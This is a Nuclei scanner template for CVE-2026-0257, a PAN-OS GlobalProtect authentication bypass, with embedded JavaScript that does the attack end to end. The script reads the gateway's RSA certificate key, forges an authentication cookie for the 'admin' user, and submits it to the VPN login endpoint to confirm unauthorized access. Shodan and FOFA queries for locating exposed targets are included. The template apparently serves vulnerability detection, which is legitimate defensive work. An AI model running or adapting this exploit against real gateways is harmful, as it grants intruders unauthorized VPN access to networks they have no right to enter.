id: CVE-2026-0257

info:
  name: Palo Alto Networks PAN-OS - Authentication Bypass
  author: dhiyaneshdk,sfewer-r7
  severity: critical
  description: |
    Palo Alto Networks PAN-OS contains an authentication bypass caused by flaws in the GlobalProtect portal and gateway, letting attackers establish unauthorized VPN connections, exploit requires network access to the portal or gateway.
  impact: |
    Attackers can bypass authentication to establish unauthorized VPN connections, potentially gaining network access.
  remediation: |
    Update to the latest PAN-OS version that addresses GlobalProtect authentication bypass.
  reference:
    - https://security.paloaltonetworks.com/CVE-2026-0257
    - https://www.rapid7.com/blog/post/etr-rapid7-observed-exploitation-of-pan-os-globalprotect-authentication-bypass-vulnerability-cve-2026-0257/
    - https://github.com/sfewer-r7/CVE-2026-0257
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-0257
    epss-score: 0.18583
    epss-percentile: 0.96886
    cwe-id: CWE-565
  metadata:
    verified: true
    max-request: 12
    vendor: paloaltonetworks
    product: pan-os
    shodan-query: http.title:"GlobalProtect" port:443
    fofa-query: title="GlobalProtect"
  tags: cve,cve2026,pan-os,paloalto,globalprotect,auth-bypass,vpn,kev,vkev,critical

flow: http(1) && javascript(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}/global-protect/login.esp"
      - "{{BaseURL}}/sslmgr"

    stop-at-first-match: true
    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        internal: true
        dsl:
          - "status_code != 0"
          - 'contains_any(tolower(body), "globalprotect", "global protect", "pan_form_") || contains(body, "<msg>Invalid parameters</msg>") || contains(tolower(header), "panweb")'
        condition: and

javascript:
  - args:
      Host: "{{Host}}"
      Hostname: "{{Hostname}}"
    code: |
      let net = require("nuclei/net");
      let host = Host;
      let parts = Hostname.split(":");
      let port = parts.length > 1 ? parts[parts.length - 1] : "443";
      let user = "admin";

      function u16(a, v) { a.push((v >> 8) & 0xff, v & 0xff); }
      function u24(a, v) { a.push((v >> 16) & 0xff, (v >> 8) & 0xff, v & 0xff); }
      function cat(d, s) { for (let i = 0; i < s.length; i++) d.push(s[i]); }
      function str2b(s) { let a = []; for (let i = 0; i < s.length; i++) a.push(s.charCodeAt(i)); return a; }
      function toHex(a) { let s = ""; for (let i = 0; i < a.length; i++) s += ("0" + (a[i] & 0xff).toString(16)).slice(-2); return s; }

      function b64(a) {
        let T = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", r = "";
        for (let i = 0; i < a.length; i += 3) {
          let x = a[i], y = i + 1 < a.length ? a[i + 1] : 0, z = i + 2 < a.length ? a[i + 2] : 0, n = a.length - i;
          r += T[x >> 2] + T[((x & 3) << 4) | (y >> 4)];
          r += n > 1 ? T[((y & 0xf) << 2) | (z >> 6)] : "=";
          r += n > 2 ? T[z & 0x3f] : "=";
        }
        return r;
      }

      function bytes2bi(a) { let n = BigInt(0); for (let i = 0; i < a.length; i++) n = (n << BigInt(8)) | BigInt(a[i] & 0xff); return n; }
      function bi2bytes(n, len) { let a = new Array(len); for (let i = len - 1; i >= 0; i--) { a[i] = Number(n & BigInt(0xff)); n = n >> BigInt(8); } return a; }
      function modpow(b, e, m) { let r = BigInt(1); b = b % m; while (e > BigInt(0)) { if (e & BigInt(1)) r = (r * b) % m; e = e >> BigInt(1); b = (b * b) % m; } return r; }

      function buildHello(hostname) {
        let hb = str2b(hostname), ext = [];
        let sn = []; sn.push(0x00); u16(sn, hb.length); cat(sn, hb);
        let sl = []; u16(sl, sn.length); cat(sl, sn);
        u16(ext, 0x0000); u16(ext, sl.length); cat(ext, sl);
        let sa = [0x04, 0x01, 0x05, 0x01, 0x06, 0x01, 0x04, 0x03, 0x05, 0x03, 0x02, 0x01];
        let sb = []; u16(sb, sa.length); cat(sb, sa);
        u16(ext, 0x000d); u16(ext, sb.length); cat(ext, sb);
        let gr = [0x00, 0x17, 0x00, 0x18, 0x00, 0x19];
        let gb = []; u16(gb, gr.length); cat(gb, gr);
        u16(ext, 0x000a); u16(ext, gb.length); cat(ext, gb);
        u16(ext, 0x000b); u16(ext, 2); ext.push(0x01, 0x00);
        let body = []; body.push(0x03, 0x03);
        let ts = Math.floor(Date.now() / 1000);
        body.push((ts >> 24) & 0xff, (ts >> 16) & 0xff, (ts >> 8) & 0xff, ts & 0xff);
        for (let i = 0; i < 28; i++) body.push(Math.floor(Math.random() * 256));
        body.push(0x00);
        let cs = [0xc0, 0x2f, 0xc0, 0x30, 0xc0, 0x13, 0xc0, 0x14, 0x00, 0x9c, 0x00, 0x9d, 0x00, 0x2f, 0x00, 0x35, 0x00, 0xff];
        u16(body, cs.length); cat(body, cs);
        body.push(0x01, 0x00);
        u16(body, ext.length); cat(body, ext);
        let hs = []; hs.push(0x01); u24(hs, body.length); cat(hs, body);
        let rec = []; rec.push(0x16, 0x03, 0x01); u16(rec, hs.length); cat(rec, hs);
        return rec;
      }

      function parseCerts(data) {
        let hs = [], i = 0;
        while (i + 5 <= data.length) {
          let t = data[i], rl = (data[i + 3] << 8) | data[i + 4];
          if (i + 5 + rl > data.length) break;
          if (t === 22) for (let j = 0; j < rl; j++) hs.push(data[i + 5 + j]);
          i += 5 + rl;
        }
        let certs = [], j = 0;
        while (j + 4 <= hs.length) {
          let ht = hs[j], hl = (hs[j + 1] << 16) | (hs[j + 2] << 8) | hs[j + 3];
          if (j + 4 + hl > hs.length) break;
          if (ht === 11) {
            let o = j + 4, total = (hs[o] << 16) | (hs[o + 1] << 8) | hs[o + 2], k = o + 3, end = Math.min(o + 3 + total, j + 4 + hl);
            while (k + 3 <= end) {
              let cl = (hs[k] << 16) | (hs[k + 1] << 8) | hs[k + 2];
              if (k + 3 + cl > end) break;
              certs.push(hs.slice(k + 3, k + 3 + cl));
              k += 3 + cl;
            }
            break;
          }
          j += 4 + hl;
        }
        return certs;
      }

      function hasDone(d) {
        for (let i = 0; i + 5 <= d.length;) {
          let ct = d[i], rl = (d[i + 3] << 8) | d[i + 4];
          if (i + 5 + rl > d.length) break;
          if (ct === 22) for (let j = i + 5, e = j + rl; j + 4 <= e;) {
            if (d[j] === 14) return true;
            j += 4 + ((d[j + 1] << 16) | (d[j + 2] << 8) | d[j + 3]);
          }
          i += 5 + rl;
        }
        return false;
      }

      function rdTL(d, p) {
        let tag = d[p++], len = d[p++];
        if (len & 0x80) { let nb = len & 0x7f; len = 0; for (let i = 0; i < nb; i++) len = (len << 8) | d[p++]; }
        return { tag: tag, len: len, pos: p };
      }

      function getRSAKey(der) {
        let r = rdTL(der, 0), p = r.pos; r = rdTL(der, p); p = r.pos; r = rdTL(der, p);
        if (r.tag === 0xa0) { p = r.pos + r.len; r = rdTL(der, p); }
        p = r.pos + r.len; r = rdTL(der, p); p = r.pos + r.len; r = rdTL(der, p); p = r.pos + r.len;
        r = rdTL(der, p); p = r.pos + r.len; r = rdTL(der, p); p = r.pos + r.len;
        r = rdTL(der, p); p = r.pos; r = rdTL(der, p); let ae = r.pos + r.len; p = r.pos;
        r = rdTL(der, p); let oid = der.slice(r.pos, r.pos + r.len);
        let rsaOid = [0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01];
        if (oid.length !== rsaOid.length) return null;
        for (let i = 0; i < rsaOid.length; i++) if (oid[i] !== rsaOid[i]) return null;
        p = ae; r = rdTL(der, p); p = r.pos + 1; r = rdTL(der, p); p = r.pos;
        r = rdTL(der, p); let ms = r.pos, ml = r.len;
        if (der[ms] === 0 && ml > 1) { ms++; ml--; }
        let modB = der.slice(ms, ms + ml); p = r.pos + r.len;
        r = rdTL(der, p); let expB = der.slice(r.pos, r.pos + r.len);
        return { n: bytes2bi(modB), e: bytes2bi(expB), kl: modB.length };
      }

      function forge(n, e, kl, username) {
        let ts = Math.floor(Date.now() / 1000).toString();
        let pt = str2b(username + ";;Windows;;" + ts + ";0.0.0.0");
        let padLen = kl - pt.length - 3;
        if (padLen < 8) return "";
        let em = [0x00, 0x02];
        for (let i = 0; i < padLen; i++) em.push(Math.floor(Math.random() * 254) + 1);
        em.push(0x00); cat(em, pt);
        return b64(bi2bytes(modpow(bytes2bi(em), e, n), kl));
      }

      function encodeCookie(cookie) {
        return cookie.replace(/\+/g, "%2B").replace(/\//g, "%2F").replace(/=/g, "%3D");
      }

      function testCookie(cookieB64, context) {
        let cookieEnc = encodeCookie(cookieB64);
        let body = "prot=https&server=" + host +
          "&inputStr=&jnlpReady=jnlpReady&ok=Login&direct=yes&clientVer=4100" +
          "&user=" + user + "&passwd=&context=" + context +
          "&clientos=Windows&clientgpversion=6.0.0&host-id=&computer=" +
          "&os-version=Microsoft+Windows+10+Pro+64-bit" +
          "&portal-userauthcookie=" + cookieEnc +
          "&portal-prelogonuserauthcookie=";
        let req = "POST /ssl-vpn/login.esp HTTP/1.1\r\n" +
          "Host: " + host + "\r\n" +
          "Content-Type: application/x-www-form-urlencoded\r\n" +
          "User-Agent: GlobalProtect/6.0.0\r\n" +
          "Content-Length: " + body.length + "\r\n" +
          "Connection: close\r\n\r\n" + body;
        let conn = net.OpenTLS("tcp", host + ":" + port);
        conn.SetTimeout(10);
        conn.Send(req);
        let resp = conn.RecvFullString(0);
        conn.Close();
        return resp;
      }

      function isGatewaySuccess(resp) {
        if (resp.indexOf(" 200 ") === -1 && resp.indexOf("HTTP/1.1 200") === -1 && resp.indexOf("HTTP/2 200") === -1) return false;
        return resp.indexOf("<status>Success</status>") !== -1 ||
          (resp.indexOf("<argument>") !== -1 && resp.indexOf(user) !== -1);
      }

      function isPortalSuccess(resp) {
        if (resp.indexOf(" 200 ") === -1 && resp.indexOf("HTTP/1.1 200") === -1 && resp.indexOf("HTTP/2 200") === -1) return false;
        return resp.indexOf("<argument>") !== -1 && resp.indexOf(user) !== -1;
      }

      let result = "";
      try {
        let hello = buildHello(host);
        let conn = net.Open("tcp", host + ":" + port);
        conn.SetTimeout(5);
        conn.SendHex(toHex(hello));
        let raw = [];
        for (let a = 0; a < 10; a++) {
          try {
            let c = conn.Recv(32768);
            if (!c || c.length === 0) break;
            for (let i = 0; i < c.length; i++) raw.push(c[i]);
            if (hasDone(raw)) break;
          } catch (e) { break; }
        }
        conn.Close();

        let certs = parseCerts(raw);
        for (let i = 0; i < certs.length && result === ""; i++) {
          let key = null;
          try { key = getRSAKey(certs[i]); } catch (e) { continue; }
          if (!key) continue;
          let cookie = forge(key.n, key.e, key.kl, user);
          if (!cookie) continue;

          let gwResp = testCookie(cookie, "gateway");
          if (isGatewaySuccess(gwResp)) {
            result = "GlobalProtect auth bypass confirmed (gateway): " + user;
            break;
          }

          let portalResp = testCookie(cookie, "portal");
          if (isPortalSuccess(portalResp)) {
            result = "GlobalProtect auth bypass confirmed (portal): " + user;
            break;
          }
        }
      } catch (e) {}

      Export(result);

    matchers:
      - type: dsl
        dsl:
          - "success == true"
          - "contains(response, 'GlobalProtect auth bypass confirmed')"
        condition: and

    extractors:
      - type: dsl
        dsl:
          - response
# digest: 4b0a00483046022100bbc35ca325e7ac3ce6e05bec68adf5572e858ea16b621bb9fedad4902e6513ff0221009c26e7228d9767033537af78be879d803a8f39e0098f677d7dc8414b4d6ef296:922c64590222798bb761d5b6d8e72950